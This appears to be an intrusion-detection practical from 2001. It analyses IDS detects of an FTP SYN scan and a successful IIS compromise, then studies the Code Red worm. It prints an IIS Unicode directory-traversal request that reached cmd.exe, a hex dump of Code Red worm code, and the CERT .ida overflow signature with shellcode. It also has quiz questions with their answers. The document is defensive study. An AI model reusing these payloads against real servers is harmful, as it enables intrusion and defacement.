14  pD4B9E94A.dip.t-dialin.net (212.185.233.74)  119.335 ms  117.203 ms
116.333 ms

[**] spp_anomsensor: Anomaly threshold exceeded: 11.4704 [**]
07/09-11:50:57.476977 212.185.233.74:2327 -> 140.178.97.106:21
TCP TTL:13 TOS:0x0 ID:23730 IpLen:20 DgmLen:64 DF
******S* Seq: 0xBD5EBFEE  Ack: 0x0  Win: 0xB400  TcpLen: 44
TCP Options (9) => MSS: 1452 NOP WS: 3 NOP NOP TS: 0 0 NOP NOP
TCP Options => SackOK

[**] spp_anomsensor: Anomaly threshold exceeded: 11.4753 [**]
07/09-11:59:31.014276 212.185.233.74:4428 -> 140.178.242.169:21
TCP TTL:13 TOS:0x0 ID:538 IpLen:20 DgmLen:64 DF
******S* Seq: 0xE8C22B9E  Ack: 0x0  Win: 0xB400  TcpLen: 44
TCP Options (9) => MSS: 1452 NOP WS: 3 NOP NOP TS: 0 0 NOP NOP
TCP Options => SackOK

[**] spp_anomsensor: Anomaly threshold exceeded: 11.4801 [**]
07/09-12:08:13.883643 212.185.233.74:2733 -> 140.178.223.192:21
```

```
TCP TTL:13 TOS:0x0 ID:43334 IpLen:20 DgmLen:64 DF
******S* Seq: 0x14B18B64  Ack: 0x0  Win: 0xB400  TcpLen: 44
TCP Options (9) => MSS: 1452 NOP WS: 3 NOP NOP TS: 0 0 NOP NOP
TCP Options => SackOK

[**] spp_anomsensor: Anomaly threshold exceeded: 11.4887 [**]
07/09-12:22:44.661411 212.185.233.74:2552 -> 140.178.134.132:21
TCP TTL:13 TOS:0x0 ID:49355 IpLen:20 DgmLen:64 DF
******S* Seq: 0x5E2E64F2  Ack: 0x0  Win: 0xB400  TcpLen: 44
TCP Options (9) => MSS: 1452 NOP WS: 3 NOP NOP TS: 0 0 NOP NOP
TCP Options => SackOK

[**] spp_anomsensor: Anomaly threshold exceeded: 11.4958 [**]
07/09-12:38:44.562361 212.185.233.74:4681 -> 140.178.210.229:21
TCP TTL:13 TOS:0x0 ID:62017 IpLen:20 DgmLen:64 DF
******S* Seq: 0xAEA8A2F9  Ack: 0x0  Win: 0xB400  TcpLen: 44
TCP Options (9) => MSS: 1452 NOP WS: 3 NOP NOP TS: 0 0 NOP NOP
TCP Options => SackOK
```

++

1. Source of Trace.

Slow Scans posting to http://www.incidents.org/archives/intrusions/msg01007.html on July 9, 2001 by Brent Erickson

2. Detect was generated by:

SNORT intrusion detection system.

3. Probability the source address was spoofed:

Due to the speed of this scan, it doesn't appear to be a Denial of Service attack using half-open connections. It appears to be a Syn scan, with no evidence of source routing. Therefore, thinking along these lines, for the scan responses to be of any use to the attacker, he would have to be able to receive replies, so would be very unlikely that the source is spoofed.

However, if the originator did spoof the address and is sending these actually very rapidly to multiple hosts all over the Internet (would explain the time lag to return to this destination, and the discrepancies in the source ports), then it is very possible that this person is trying to get SYN-ACK responses all sent to the poor spoofed address (212.185.233.74), resulting in an attempted denial of service to that host. In such a case, then the source address is likely spoofed with the address of the ultimate victim host.

4. Description of attack:

Slow Syn stealth scan of the destination network for reconnaissance of potentially vulnerable port 21 (File Transfer Protocol). The packets themselves

seem to be duplicate connection-establishment initializations. Packet trace has many of the Ramen worm reconnaissance characteristics described in http://www.whitehats.com/library/worms/ramen/; however, the randomness of the slow timestamps seem to indicate a manual command-line probe, and there are some other fields that do not match correctly for Ramen. Of curious note are the source ephemeral ports, vacillating between the 4000s and 2000s, which although the exact port numbers are different, is still curious.

5. Attack mechanism:

Appears to be command-line scanner, but may be automated to perform a syn scan. Sequence numbers are incrementing, as are IP IDs. However, it still may be a DOS attack against 212.185.233.74, in which case it would be automated, (e.g., nMap) and our destination administrator is only seeing a small piece of the traffic.

6. Correlations:

This is an FTP Syn scan of the network. Syn scans are rather prevalent methods of reconnaissance, and are inherent in the automated freeware "nMap". The following is an excerpt from "NMAP guide" posted by Lamont Granquist on 5 April 1999 to nmap-hackers@insecure.org:

SYN scans (-sS) are the workhorse of scanning methods. They are also called "half-open" scans because you simply send a SYN packet, look for the return SYN|ACK (open) or RST (closed) packet and then you tear down the connction before sending the ACK that would normally finish the TCP 3-way handshake. These scans don't depend on the characteristics of the target TCP stack and will work anytime a connect() scan would have worked. They are also harder to detect -- TCP-wrappers or anything outside of the kernel shouldn't be able to pick up these scans -- packet filters like ipfwadm or a firewall can though. If a box is being filtered NMAP's SYN scan will detect this and report ports which are being filtered.

Relatively correlating activity was posted on July 26, 2001 by Tom Liston to http://www.incidents.org/archives/intrusions/msg01180.html.

7. Evidence of active targeting:

The target network appears to be being targeted; however, this may be a more automated scan, hitting other networks in the interim, or other activity, as there is a large difference between the ephemeral IP ports selected by the source operating system for each packet, as well as large differences in the IP ID.

8. Severity:

Severity = (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

- Criticality: 4 – This scan seems to be in search of hosts with FTP service open.
- Lethality: 2 – This is only a scan.
- System Countermeasures: 4 – Modern Operating System
- Network Countermeasures: 3 – IDS is in place and actively monitored. Presence of firewall is unknown, so will assume "no".

Severity = (4 +2) – (4 + 3) = 6 - 7 = -1

9. Defensive recommendation:

The IDS identified this problem. It is actively monitored. Recommend that the 217.80.0.0 - 217.89.31.255 range be palced in a watchlist on the IDS, and Access Control List on border router filter 212.185.233.74.

10. Multiple choice test question:

07/09-12:38:44.562361 BAD.GUY.NET.74:4681 -> GUD.GUY.NET.229:21
TCP TTL:13 TOS:0x0 ID:62017 IpLen:20 DgmLen:64 DF
******S* Seq: 0xAEA8A2F9 Ack: 0x0 Win: 0xB400 TcpLen: 44
TCP Options (9) => MSS: 1452 NOP WS: 3 NOP NOP TS: 0 0 NOP NOP
TCP Options => SackOK

Repeated traces of the above packet for multiple GUD.GUY.NET hosts at port 21 are indicative of:

a) File transfer from BAD.GUY.NET to the FTP port on GUD.GUY.NET
b) A SYN-FIN scan of open FTP ports
c) A Syn scan of open FTP ports
d) A UDP scan of GUD.GUY.NET for available FTP services.

Answer: "c".

Detect No. 5

Apr 27

Summary: 1) MY.NET.XX.90

61.130.1.96 (CHINANET Zhejiang Province Network (China))

Evidence of successful remote access to MY.NET machine from foreign IP.

SEVERITY: HIGH

```
[root@Pluto 01Apr27]# mklog  -i MY.NET.XX.90 -l
** Make Logs Tool - Copyright 2000 Network Security Wizards
** http://www.securitywizards.com
** Searching for all packets to/from MY.NET.XX.90
** Printing 'dragon.log' style data
** Date: Friday April 27 2001
14:42:54  [T]  61.130.1.96     MY.NET.XX.90    [WEB:CMDSHELL3]
(tcp,dp=80,sp=21124) (NEPTUNE)
                                [WEB:UTF8-ZANG1] (tcp,dp=80,sp=21124)
14:42:54  [F]  MY.NET.XX.90    61.130.1.96     [DYNAMIC-TCP]
(tcp,sp=80,dp=21124,flags=---AP---) (NEPTUNE)
14:42:55  [T]  61.130.1.96     MY.NET.XX.90    [DYNAMIC-TCP]
(tcp,sp=21124,dp=80,flags=---A---F) (NEPTUNE)
14:42:55  [F]  MY.NET.XX.90    61.130.1.96     [DYNAMIC-TCP]
(tcp,sp=80,dp=21124,flags=---AP---) (NEPTUNE)
14:42:56  [T]  61.130.1.96     MY.NET.XX.90    [DYNAMIC-TCP]
(tcp,sp=21124,dp=80,flags=-----R--) (NEPTUNE)
20:57:33  [T]  211.106.154.70  MY.NET.XX.90    [DNS:VERSION] (udp,dp=53,sp=4118)
(NEPTUNE)
                                [DNS:VERSION-UDP] (udp,dp=53,sp=4118)
                                [DNS:VERSION-UDP] (udp,dp=53,sp=4118)
20:57:33  [F]  MY.NET.XX.90    211.106.154.70  [DYNAMIC-ICMP]
(icmp,dest_unreach,port) (NEPTUNE)
                                [ICMP:PORT-UNREACH] (port=53)
[root@Pluto 01Apr27]# ms -R -ip1 61.130.1.96 -ip2 MY.NET.XX.90 -p1 21124 -p2 80
** Make Session Tool - Copyright 2000 Network Security Wizards
** http://www.securitywizards.com
** Replaying both sides of this session
** Watching for sessions on 61.130.1.96
** Watching for sessions on MY.NET.XX.90
** Watching for sessions on port 21124
** Watching for sessions on port 80
** Date: Friday April 27 2001
```

```
GET /scripts/..%c0%af../winnt/system32/cmd.exe HTTP/1.0{D}{A}
{D}{A}
HTTP/1.1 200 OK{D}{A}
Server: Microsoft-IIS/4.0{D}{A}
Date: Fri, 27 Apr 2001 18:42:56 GMT{D}{A}
Content-Type: application/octet-stream{D}{A}
Microsoft(R) Windows NT(TM){D}{A}
(C) Copyright 1985-1996 Microsoft Corp.{D}{A}
{D}{A}
C:\InetPub\scripts>                          <--------- PROBLEM !!!!!

T D A S  20  20    W WEB:CMDSHELL2        /20/2fscripts/2fcmd.exe
T D A S  20  20    W WEB:CMDSHELL2-SUCCESS /20/2fscripts/2fcmd.exe , scripts>
```

1. Source of Trace.

My Company's IA Lab in Maryland.

2. Detect was generated by:

Dragon intrusion detection system. (sp = source port, dp = destination port, other pertinent fields are similar to Libpcap-based IDSs, or self explanatory).

3. Probability the source address was spoofed:

This attack required a TCP/IP session and exchange. The source was from China. There is no evidence that there was any source routing. The two IP addresses used show a 6-hour time differential between the IP addresses. The IPs are both blocks controlled by www.apnic.net. Therefore it is likely that this is the same attacker who was assigned a new DHCP IP address on the second login. Whois information from www.arin.net is provided below.

> Asia Pacific Network Information Center (NETBLK-APNIC-CIDR-BLK) These addresses have been further assigned to Asia-Pacific users. Contact info can be found in the APNIC database, at WHOIS.APNIC.NET or http://www.apnic.net/ Please do not send spam complaints to APNIC.
> AU Netname: APNIC-CIDR-BLK2 Netblock: 210.0.0.0 - 211.255.255.255
> Coordinator: Administrator, System (SA90-ARIN) [No mailbox] +61-7-3367-0490
>
> Asia Pacific Network Information Center (NETBLK-APNIC2) These addresses have been further assigned to Asia-Pacific users. Contact info can be found in the APNIC database, at WHOIS.APNIC.NET or http://www.apnic.net/ Please do not send spam complaints to APNIC.
> AU Netname: APNIC3 Netblock: 61.0.0.0 - 61.255.255.255
> Coordinator: Administrator, System (SA90-ARIN) [No mailbox] +61-7-3367-0490

4. Description of attack:

Attack began in an established TCP session that included data being pushed to the attacker. The initial session was terminated with a reset. This attack came over port 80, and therefore was a Web Site attack, that resulted in my Company recommending immediate shutdown of this system, and forensics performed. A further detailed review of the logs by the root indicates access was gained to this IIS 4.0 server. Source is from China, and the April 27th timeframe coincides with the much hyped web defacement "Hacker Wars" between Chinese "Honkers" and United States hackers that brought the military to InfoCon Alpha.

Attack continued 6 hours later, resulting in command-prompt access to the machine, note the "C:\INETPUB\scripts" directory.

5. Attack mechanism:

The exact attack mechanism is unknown with the data provided. Probable attack is by buffer overflow.

6. Correlations:

The interesting thing is that there is correlation of malicious activities coming from that network provided in the "Analyze This" scenario files, which I assume is based on sanitized real data. This attack of a high-profile client site coincides with the timeframe of the Chinese Hacker Wars and much hyped "poisonbox" defacements.

7. Evidence of active targeting:

It appears that this attacker was going after this particular host. Previous reconnaissance information is not available.

8. Severity:

Severity = (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

- Criticality: 4 –Web Server, estimate that the attacker may have already mapped this network
- Lethality: 3 –Web service files are in possible jeopardy.
- System Countermeasures: 4 – Modern Operating System, patches unknown.
- Network Countermeasures: 3 – IDS is in place and actively monitored. Presence of firewall is unknown, so will assume "no".

Severity = (4 +3) – (4 + 3) = 7 - 6 = 1

9. Defensive recommendation:

The IDS identified this problem. It is actively monitored. Recommend Access Control List on border router filter 61.0.0.0 – 61.255.255.255.

10. Multiple choice test question:

Which of the following is how a Dragon IDS event appears in an Alert log?

a) Feb 1 00:00:11 BAD.NET.206.230:6112 -> MY.NET.90.131:6112 UDP

b) 14:42:54 [F] MY.NET.XX.90 61.130.1.96 [DYNAMIC-TCP]
(tcp,sp=80,dp=21124,flags=---AP---) (NEPTUNE)

c) 02/04-00:12:09.839243 BAD.NET.228.58:3984 -> MY.NET.217.58:6355
TCP TTL:51 TOS:0x0 ID:0 DF
21S***** Seq: 0x4ACCE2DF Ack: 0x0 Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 228346683 0 EOL EOL EOL EOL

d) [**] Napster Client Data [**]
04/01-20:05:42.740434 BAD.NET.34.134:4172 -> MY.NET.110.55:6699
TCP TTL:126 TOS:0x0 ID:7140 IpLen:20 DgmLen:98 DF
AP Seq: 0xF3BC67B Ack: 0x13D5C9CA Win: 0x450F TcpLen: 20

Answer: “b”

ASSIGNMENT 2 - ANALYSIS OF AN ATTACK

In June 2001, eEye discovered a buffer overflow vulnerability in Microsoft's Internet Information Server (IIS) Web Service software (versions 4.0 and 5.0). Upon reporting it to Microsoft, the IIS program creator generated a patch "Microsoft Security Bulletin MS01-033" urging IIS Web Service users to apply it. However, within a month, (McAffee estimates the discovery date to be July 17th, Symantec estimates the 16th) the "Code Red" worm, malicious software of unknown origin, was actively in-the-wild with a mission to take advantage of the vulnerability that still existed on thousands of IIS servers worldwide. According to Robert Lemos's ZDNet article, by July 18th nearly 12,000 unpatched Web Servers running MicroSoft IIS had been infected, an estimate that appears to have been generated by eEye analysts. Each infected host becoming a base for scans for 100 new offspring attacks. In this analysis, we will study the Code Red worm, its signature, its payload, and identify where the patches and programs are to safeguard against it. Showing the spread, Mr. Lemos released an article the following day for CNET News.com that estimated 225,000 computers infected, which supports the SANS Institute's estimation of 200,000 (CNN.COM). McAfee provides that NT Desktop and File Server systems are not affected. However Windows 2000 Server and Advances Server install IIS by default. CISCO 600-series Digital Subscriber Line routers are also known to be affected due to the impact that the worm software which targets the IIS .ida buffer overflow vulnerability, reacts to these routers. The Code Red worm code as it appears in a hexadecimal dump, is provided in the box to the right.

```
[**] CodeRed Worm Defacement Sent [**]
07/20-12:15:22.411127 aaa.bbb.ccc.dd:3815 -> xxx.yyy.www.17:80
TCP TTL:104 TOS:0x0 ID:53346 IpLen:20 DgmLen:1155 DF
***AP*** Seq: 0xBA5B803  Ack: 0xAF20D7  Win: 0x4470  TcpLen: 20
FF 8B 8D 64 FE FF FF 0F BE 11 85 D2 74 02 EB D3  ...d........t...
8B F4 6A 00 8B 85 4C FE FF FF 50 8B 4D 08 8B 51  ..j...L...P.M..Q
64 52 8B 85 78 FE FF FF 50 FF 95 C0 FE FF FF 3B  dR..x...P......;
F4 90 43 4B 43 4B C7 85 4C FE FF FF 00 00 00 00  ..CKCK..L.......
8B 8D 68 FE FF FF 83 C1 07 89 8D 64 FE FF FF EB  ..h........d....
1E 8B 95 64 FE FF FF 83 C2 01 89 95 64 FE FF FF  ...d........d...
8B 85 4C FE FF FF 83 C0 01 89 85 4C FE FF FF 8B  ..L........L....
8D 64 FE FF FF 0F BE 11 85 D2 74 02 EB D3 8B F4  .d........t.....
6A 00 8B 85 4C FE FF FF 50 8B 8D 68 FE FF FF 83  j...L...P..h....
C1 07 51 8B 95 78 FE FF FF 52 FF 95 C0 FE FF FF  ..Q..x...R......
3B F4 90 43 4B 43 4B 8B 45 08 8B 48 70 89 8D 4C  ;..CKCK.E..Hp..L
FE FF FF 8B F4 6A 00 8B 95 4C FE FF FF 52 8B 45  .....j...L...R.E
08 8B 48 78 51 8B 95 78 FE FF FF 52 FF 95 C0 FE  ..HxQ..x...R....
FF FF 3B F4 90 43 4B 43 4B C6 85 FC FE FF FF 00  ..;..CKCK.......
8B F4 6A 00 68 00 01 00 00 8D 85 FC FE FF FF 50  ..j.h..........P
8B 8D 78 FE FF FF 51 FF 95 C4 FE FF FF 3B F4 90  ..x...Q......;..
43 4B 43 4B 89 85 4C FE FF FF 8B F4 8B 95 78 FE  CKCK..L.......x.
FF FF 52 FF 95 C8 FE FF FF 3B F4 90 43 4B 43 4B  ..R......;..CKCK
E9 0C FB FF FF EB FE E8 8C F5 FF FF EB 30 58 83  .............0X.
C0 05 55 57 53 56 50 6A 3C 8B F0 83 C6 0C 56 68  ..UWSVPj<.....Vh
00 01 00 00 FF 70 08 FF 74 24 28 FF 10 58 50 FF  .....p..t$(..XP.
74 24 18 FF 50 04 58 5E 5B 5F 5D FF 20 90 E8 CB  t$..P.X^[_]. ...
FF FF FF E8 7B F9 FF FF B8 78 56 34 12 B8 78 56  ....{....xV4..xV
34 12 B8 78 56 34 12 B8 78 56 34 12 B8 78 56 34  4..xV4..xV4..xV4
12 58 50 8B BD 68 FE FF FF 89 47 F2 C3 8B 44 24  .XP..h....G...D$
0C 05 B8 00 00 00 C7 00 12 43 C9 00 33 C0 C3 EB  .........C..3...
EC E8 F1 F4 FF FF 4C 6F 61 64 4C 69 62 72 61 72  ......LoadLibrar
79 41 00 47 65 74 53 79 73 74 65 6D 54 69 6D 65  yA.GetSystemTime
00 43 72 65 61 74 65 54 68 72 65 61 64 00 43 72  .CreateThread.Cr
65 61 74 65 46 69 6C 65 41 00 53 6C 65 65 70 00  eateFileA.Sleep.
47 65 74 53 79 73 74 65 6D 44 65 66 61 75 6C 74  GetSystemDefault
4C 61 6E 67 49 44 00 56 69 72 74 75 61 6C 50 72  LangID.VirtualPr
6F 74 65 63 74 00 09 69 6E 66 6F 63 6F 6D 6D 2E  otect..infocomm.
64 6C 6C 00 54 63 70 53 6F 63 6B 53 65 6E 64 00  dll.TcpSockSend.
09 57 53 32 5F 33 32 2E 64 6C 6C 00 73 6F 63 6B  .WS2_32.dll.sock
65 74 00 63 6F 6E 6E 65 63 74 00 73 65 6E 64 00  et.connect.send.
72 65 63 76 00 63 6C 6F 73 65 73 6F 63 6B 65 74  recv.closesocket
00 09 77 33 73 76 63 2E 64 6C 6C 00 00 47 45 54  ..w3svc.dll..GET
20 00 3F 00 20 20 48 54 54 50 2F 31 2E 30 0D 0A  .?.  HTTP/1.0..
43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 74 65  Content-type: te
78 74 2F 78 6D 6C 0A 48 4F 53 54 3A 77 77 77 2E  xt/xml.HOST:www.
77 6F 72 6D 2E 63 6F 6D 0A 20 41 63 63 65 70 74  worm.com. Accept
3A 20 2A 2F 2A 0A 43 6F 6E 74 65 6E 74 2D 6C 65  : */*.Content-le
6E 67 74 68 3A 20 33 35 36 39 20 0D 0A 0D 0A 00  ngth: 3569 .....
63 3A 5C 6E 6F 74 77 6F 72 6D 00 4C 4D 54 48 0D  c:\notworm.LMTH.
0A 3C 68 74 6D 6C 3E 3C 68 65 61 64 3E 3C 6D 65  .<html><head><me
74 61 20 68 74 74 70 2D 65 71 75 69 76 3D 22 43  ta http-equiv="C
6F 6E 74 65 6E 74 2D 54 79 70 65 22 20 63 6F 6E  ontent-Type" con
74 65 6E 74 3D 22 74 65 78 74 2F 68 74 6D 6C 3B  tent="text/html;
20 63 68 61 72 73 65 74 3D 65 6E 67 6C 69 73 68  charset=english
22 3E 3C 74 69 74 6C 65 3E 48 45 4C 4C 4F 21 3C  "><title>HELLO!<
2F 74 69 74 6C 65 3E 3C 2F 68 65 61 64 3E 3C 62  /title></head><b
61 64 79 3E 3C 68 72 20 73 69 7A 65 3D 35 3E 3C  ady><hr size=5><
66 6F 6E 74 20 63 6F 6C 6F 72 3D 22 72 65 64 22  font color="red"
3E 3C 70 20 61 6C 69 67 6E 3D 22 63 65 6E 74 65  ><p align="cente
72 22 3E 57 65 6C 63 6F 6D 65 20 74 6F 20 68 74  r">Welcome to ht
74 70 3A 2F 2F 77 77 77 2E 77 6F 72 6D 2E 63 6F  tp://www.worm.co
6D 20 21 3C 62 72 3E 3C 62 72 3E 48 61 63 6B 65  m !<br><br>Hacke
64 20 42 79 20 43 68 69 6E 65 73 65 21 3C 2F 66  d By Chinese!</f
6F 6E 74 3E 3C 2F 68 72 3E 3C 2F 62 61 64 79 3E  ont></hr></bady>
3C 2F 68 74 6D 6C 3E 20 20 20 20 20 20 20 20 20  </html>
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20
```

ARPANET (Internet predecessor in 1988). They may have alternate covert agendas, as the Code Red worm does. It is called "Code Red" due to the "Hacked By Chinese" reference in the payload that result the web defacements it may cause to English language web servers. Chien of Symantec reports the aliases are "W32/Bady", "I-Worm.Bady", "Code Red", "CodeRed", and "W32/Bady.worm". Its actual origin is unknown at this time. McAfee reports that it does have the alias W32/Bady.worm. It uses of a Microsoft Index Server buffer overflow exploit to execute itself in memory, pushing the code in a Transmission Control Protocol (TCP) connection without fragmentation to keep it together, as indicated in the packet header. An excerpt from the U.S. Department of Energy's Computer Incident Advisory Center's e-mail Bulletin is as follows:

```
                          ___  __ __    _    ___
                         /      |     /_\   /
                         \___   __|__  /   \  \___


_____________________________________________________________

                          INFORMATION BULLETIN

                       Cisco "Code Red" Worm Impact
                    [Cisco Security Advisory Revision 1.0]

July 20, 2001 19:00 GMT
Number L-120

_____________________________________________________________
_____________
PROBLEM:       Cisco products may be installed or provided on
systems that are
               being targeted by the "Code Red" worm.
PLATFORM:      Cisco CallManager, Cisco Unity Server, Cisco uOne,
Cisco ICS7750
               Cisco Building Broadband Service Manager, Cisco
600 series of
               DSL routers that have not been patched.
DAMAGE:        The Uniform Resource Identifier (URI) used by the
worm to
```

Tom Liston wrote on 20 July "The worm authors only put in *one* IP address in the code, the one for www1.whitehouse.gov. BBN, has blocked that single IP address at their peering points. So www2.whitehouse.gov is still running just fine." The worm caused a serious problem to the targeted 198.137.240.91 IP address (www.whitehouse.com), such that the web site had to be moved to a secondary site. Robert Lemos reported on July 19th:

> "After slowing down earlier in the week, the Code Red worm spread wildly Thursday, possibly because of someone modifying the code. In addition to making the code spread faster, the person who changed the code may have made another important modification. The original creator of Code Red apparently created the worm to stop spreading at midnight Friday morning coordinated universal time (UTC), or 5 p.m. PDT Thursday, and to attack the Whitehouse.gov site with a distributed denial-of-service attack. At that time the worm would stop spreading."

Lynn Crumbling announced a much more devastating possibility that the worm could have, or a variant could soon cause. Lynn posted the following statement to e-mail forum vuln-dev@securtiyfocus.com on 25 July:

> "Actually, a rather nasty thing to do, would have been to set the worm up to attack www.microsoft.com. If my guess is right, that site uses the same pipe as support.microsoft.com or windowsupdate.microsoft.com. Had the person done this, it would have effectly used microsoft's own bug against it, and would have caused a big problem: how are the people supposed to obtain the patch if the site holding the patch gets hosed? It's a scarry thought, but funny one: A DDOS by microsoft's own software against itself."

"Jericho" of attition.org responded the following day on the same forum, pointing to previous commentary from his website that two Microsoft web sites had in fact fallen victim to the new worm. http://www.attrition.org/security/commentary/ms16.html.

Analysis:

The worm is based on a vulnerability in the IDQ.dll file in the IIS system. This is explained in the Microsoft Security Update posted on June 18th, as an addendum to the Bulletin. Please note, that this vulnerability is applicable to IIS 5.0 as well, from Windows 2000 Server and Advanced Server.

> *The Index Server ISAPI (Index Server Application Programming Interface) extension, idq.dll file, which installs as part of Index Server 2.0 in Windows NT 4.0, has an unchecked buffer (a temporary data storage area that has a limited capacity) in the code that handles incoming requests. A specifically malformed request from a malicious user can cause the buffer to overflow. Doing so grants the malicious user Local System privileges, allowing him or her to take complete control of the Web server. This update eliminates the vulnerability by ensuring that the ISAPI extension checks input correctly.*
> ***Note*** *Although the functionality provided by idq.dll supports Index Server 2.0, idq.dll is installed with Internet Information Server (IIS) 4.0, and the vulnerability is present only when IIS 4.0 is running.*

How the Attack Works:

The software at an infected site scans for other vulnerable IIS servers, up to 100. In the Hyper-text Transport Protocol (HTTP) request on port 80, it exploits the unchecked buffer overrun vulnerability. Chien from Symantec asserts that the malicious code is inserted directly into memory and run, rather than as a file placed in secondary storage, and that it will not take HTTP requests from 127.0.0.1, thus avoiding an infinite loop. In the code provided in the initial box, we can see that the Ack and Push flags are set in the packet, identifying this as a TCP connection. The scans for port 80 appear as in the example below (obtained from the July 19 www.incidents.org posting by John Sage).

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
+=+=+ 07/19-10:55:43.357590 61.74.182.209:2604 -> 12.82.128.177:80 TCP TTL:115
TOS:0x0 ID:44538 IpLen:20 DgmLen:48 DF ******S* Seq: 0xEA2D6677 Ack: 0x0 Win:
0x4000 TcpLen: 28 TCP Options (4) => MSS: 1460 NOP NOP SackOK
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
+=+=+ 07/19-10:55:46.377640 61.74.182.209:2604 -> 12.82.128.177:80 TCP TTL:115
TOS:0x0 ID:44604 IpLen:20 DgmLen:48 DF ******S* Seq: 0xEA2D6677 Ack: 0x0 Win:
0x4000 TcpLen: 28 TCP Options (4) => MSS: 1460 NOP NOP SackOK
```

The worm has a distinct signature. Code Red defaces English-language web sites hosted by the computers it infects with the greeting: "HELLO! Welcome to http://www.worm.com! Hacked by Chinese!". www.worm.com appears to either be down, or nonexistant. The partial dump below of the Code Red worm, obtained from Brent Erickson's 19 July post to www.indicents.org (http://www.incidents.org/archives/intrusions/msg01097.html) entitled "Code Red?" shows the code that generates this message. A blow-up of the ending portion of the code is provided in the box below (the packet carrying the code in its entirety is provided in the first box).

```
20 63 68 61 72 73 65 74 3D 65 6E 67 6C 69 73 68   charset=english
22 3E 3C 74 69 74 6C 65 3E 48 45 4C 4C 4F 21 3C  "><title>HELLO!<
2F 74 69 74 6C 65 3E 3C 2F 68 65 61 64 3E 3C 62  /title></head><b
61 64 79 3E 3C 68 72 20 73 69 7A 65 3D 35 3E 3C  ady><hr size=5><
66 6F 6E 74 20 63 6F 6C 6F 72 3D 22 72 65 64 22  font color="red"
3E 3C 70 20 61 6C 69 67 6E 3D 22 63 65 6E 74 65  ><p align="cente
72 22 3E 57 65 6C 63 6F 6D 65 20 74 6F 20 68 74  r">Welcome to ht
74 70 3A 2F 2F 77 77 77 2E 77 6F 72 6D 2E 63 6F  tp://www.worm.co
6D 20 21 3C 62 72 3E 3C 62 72 3E 48 61 63 6B 65  m !<br><br>Hacke
64 20 42 79 20 43 68 69 6E 65 73 65 21 3C 2F 66  d By Chinese!</f
6F 6E 74 3E 3C 2F 68 72 3E 3C 2F 62 61 64 79 3E  ont></hr></bady>
```

The Computer Emergency Response Team Coordination Center (CERT CC) in their IN-2001-08 incident note identified the platforms that the Worm infects to be: "Systems running Microsoft Windows NT 4.0 with IIS 4.0 or IIS 5.0 enabled Systems running Microsoft Windows 2000 (Professional, Server, Advanced Server, Datacenter Server)

Systems running beta versions of Microsoft Windows XP". They further describe generally the process the worm takes. It scans for hosts listening on port 80 (http: service), then upon finding it, checks to see if the worm has executed there before; and if not, it begins the malicious processes of finding hosts listening on port 80 for replication of the process. The script will check to see if the victim host language is English, and if so, after 100 scanning threads have been activated, CERT CC identifies that the code will deface victim web pages with the "Hello, Welcome to http://www.worm.com! Hacked By Chinese!", as is noted in the code excerpt above. However, if the language is not English, the scanning and infection will continue, but not the defacement. The html from the exploit code is provided by McAfee and is as follows:

```
<html><head><meta http-equiv="Content-Type" content="text/html;
 Charset=English"><title> HELLO!
</title></head><bady><hr size=5> <font color="red"><p align="center">Welcome
 to http://www.worm.com !<br><br>Hacked By Chinese! </font></hr>
 </bady></html>
```

The result of this code is the following statement that replaces the former web page:

Welcome to http://www.worm.com!
Hacked by Chinese!

CERT CC provides the following signature that may be obtained from IIS logs to indicate the presence of the worm.

```
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531
b%u53ff%u0078%u0000%u00=a
```

Like all code, this is very modifiable, as pointed out previously by Lynn Crumbling. The "Code Red" worm does not download or delete documents from a vulnerable system; though it is possible for a future a variant to perform actions on or with files. On 24 July, NAVCIRT notified their Information Systems Security Managers and Officers of a variant. The initial two paragraphs are supplied below:

```
NAVCIRT BULLETIN - CODE RED WORM II

1. NAVCIRT HAS RECEIVED INFORMATION INDICATING THAT THE CODE RED WORM
HAS BEEN MODIFIED AND RELEASED INTO THE WILD.  THE VARIANT IS BEING
CALLED CODE RED II.  IT VARIES FROM THE ORIGINAL BY 13 BYTES AND
RECTIFIES EARLIER DEFICIENCIES IN THE CODE RED WORM.
```

```
2. .IDA CODE RED WORM AFFECTS MICROSOFT INTERNET INFORMATION SERVER
(IIS) SYSTEMS THAT ARE VULNERABLE TO A .IDA BUFFER OVERFLOW
VULNERABILITY. UNLIKE THE CODE RED WORM, CODE RED II MODIFIES THE
RANDOM SEQUENCING OF INTERNET PROTOCOL (IP) ADDRESSES, SO THAT THE
HOSTS THAT ARE ATTACKED WILL NOT BE SUBJECTED TO DENIAL OF SERVICE
(DOS) THROUGH MULTIPLE HITS. A SECOND MODIFICATION TO THE CODE RED WORM
REMOVES THE WEB PAGE DEFACEMENT, MAKING DISCOVERY OF THE WORM MORE
DIFFICULT.
```

